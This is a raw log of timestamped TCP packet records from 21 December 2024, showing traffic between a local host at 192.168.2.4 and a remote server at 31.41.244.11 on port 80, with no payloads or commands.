                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.195427895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.195456982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.195491076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.195528030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.195563078 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.195590019 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.196773052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.196826935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.196830988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.197802067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.197849035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.197866917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.197906971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.198901892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.198973894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.199018002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.200062037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.200100899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.200117111 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.200145960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.201061010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.201153040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.201198101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.202169895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.202323914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.202370882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.203243971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.203289032 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.203346014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.204346895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.204384089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.204427004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.205008030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.205480099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.205538034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.205576897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.205624104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.206553936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.206598043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.206712961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.206757069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.207714081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.207757950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.207793951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.208781958 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.208827972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.209024906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.209887981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.209934950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.209980011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.210028887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.211003065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.211106062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.211152077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.212148905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.212204933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.212208986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.213224888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.213270903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.213361025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.214315891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.214359999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.214402914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.214446068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.215461016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.215543032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.215589046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.216547012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.216640949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.216686010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.217633009 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.217674971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.217747927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.218779087 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.218823910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.218904018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.219872952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.219890118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.219902992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.219929934 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.220983028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.221030951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.221092939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.222059011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.222107887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.222156048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.223175049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.223220110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.223287106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.223326921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.224334002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.224374056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.224385977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.224417925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.225408077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.225452900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.225570917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.225614071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.226516962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.226608992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.226653099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.227587938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.227638960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.227705002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.228729010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.228770971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.228842020 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.229835987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.229881048 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.229922056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.229964018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.230915070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.231044054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.231086969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.232089996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.232140064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.232156038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.233128071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.233176947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.233221054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.234244108 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.234286070 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.234329939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.234373093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.235342026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.235459089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.235502958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.236448050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.236553907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.236601114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.237643957 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.237689018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.237828016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.238816023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.238862038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.238878012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.239799023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.239846945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.239960909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.240000963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.240937948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.241152048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.241197109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.242062092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.242216110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.242260933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.243410110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.243454933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.243519068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.244318962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.244357109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.244370937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.244824886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.245358944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.245407104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.245419025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.246485949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.246521950 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.246546984 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.246570110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.247565031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.247615099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.247663975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.247708082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.248647928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.248691082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.248903990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.248945951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.249799013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.249841928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.249860048 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.249898911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.250852108 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.250982046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.251028061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.252011061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.252247095 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.252295971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.253063917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.257580996 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387468100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387492895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387520075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387547970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387774944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387825012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.387864113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.388107061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.388868093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.388974905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.389027119 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.390006065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.390113115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.390178919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.391132116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.391160011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.391215086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.392219067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.392328024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.392407894 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.393347979 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.393403053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.393425941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.393479109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.394434929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.394488096 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.394527912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.394577980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.395559072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.395693064 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.395740986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.396596909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.396647930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.396722078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.396838903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.397742033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.397859097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.397902012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.398837090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.398957968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.399009943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.400306940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.400357962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.400496006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.400738955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.401385069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.401438951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.401468039 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.401510954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.402162075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.402213097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.402251959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.402355909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.403289080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.403389931 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.403425932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.404361963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.404428005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.404495955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.404632092 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.405510902 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.405616999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.405658007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.406692028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.406748056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.406789064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.407706976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.407746077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.407771111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.407841921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.408803940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.408870935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.408905029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.409017086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.409928083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.409979105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.410105944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.410149097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.411118031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.411225080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.411269903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.411715031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:14.412147999 CET804976031.41.244.11192.168.2.4
